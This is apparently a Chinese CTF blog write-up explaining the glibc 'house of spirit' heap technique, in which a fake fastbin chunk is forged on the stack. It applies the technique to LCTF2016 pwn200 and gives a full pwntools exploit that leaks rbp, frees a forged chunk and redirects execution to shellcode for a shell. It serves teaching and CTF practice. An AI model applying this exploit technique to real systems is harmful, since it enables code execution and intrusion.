house of spirit

house of spirit

这种利用方式主要是在栈上构造 fake chunk,从而更好的控制栈,修改返回地址。

利用条件:

  1. free(p) 中的 p 可控
  2. 可以泄漏栈地址
  3. 不可控区域前后都有区域可控(如图)

利用思路:

在栈中构造 fake chunk,大小覆盖掉函数的返回地址,再次分配得到返回地址控制,写入 one_gadget 或者 shellcode 地址。

注意如果构造 fastbin,free 函数会检测 next chunk 的大小与当前的 fake chunk 大小是否一致,需要绕过!

另外 fake fastbin chunk 的条件

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于 av->system_mem 。
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

LCTF2016 pwn200

这个也是 BUU 上的一道经典例题

  1. 该题的栈有 RWX 权限,可以放 shellcode

  2. 存在 rbp 地址泄漏

    v2 填满 shellcode 后地址

  1. sub_400A29 存在栈溢出,只能溢出掉 free(p) 中的 p 参数

    如图, buf 只有 58 字节,read 可以读入 64 字节,溢出 dest 变量。ptr 指针在后面的操作中会被当作 free 的参数

  2. sub_400A29 调用之前的栈可控,构造 next chunk 的 size 域

解题思路

who are u? 传 shellcode 并填充满 42 字节泄漏 rbp

give me your id ~~? 传入 fake chunk 的大小,这里可以控制 fake chunk 的 next chunk 的 size 域。

give me money~ 传入 fake chunk,并修改 ptr 变量为 fake chunk 地址

先选 choice 1,free(ptr),将 fake chunk 插入到 fastbin

再选 choice 2,从 fastbin 从分配出栈内存,并修改地址为 shellcode 的地址

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.log_level = 'debug'
libc_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/libc-2.23.so'
#libc_file_name = '/home/pandaos/Projects/pwn/glibc/2.23/64/lib/libc-2.23.so'
ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2'

p = process([ld_file_name, './pwn200'],
env = {"LD_PRELOAD": libc_file_name})

# p = remote('node3.buuoj.cn', 25523)

input(">>")
p.recvuntil('who are u?\n')

shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
print("shellcode len:" , len(shellcode))
p.send(shellcode)
p.recvn(48)
leak_rbp = u64(p.recvn(6) + b'\x00\x00')
print("leak rbp: ", hex(leak_rbp))

p.recvuntil('give me your id ~~?\n')
p.sendline(str(0x61))
p.recvuntil('give me money~\n')
# 64
fake_chunk = b'A' * 8 + p64(0x61) + b'B' * 40 + p64(leak_rbp - 0xc0 + 0x10)
p.send(fake_chunk)

def choice(s):
p.recvuntil('your choice : ')
p.sendline(s)

choice('2')
choice('1')
p.recvuntil('how long?\n')
p.sendline(str(0x50))
p.recvuntil('\n%d\n' % 0x50)
p.sendline(b'D' * 56 + p64(leak_rbp - 0x50))
#choice('3')
p.interactive()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!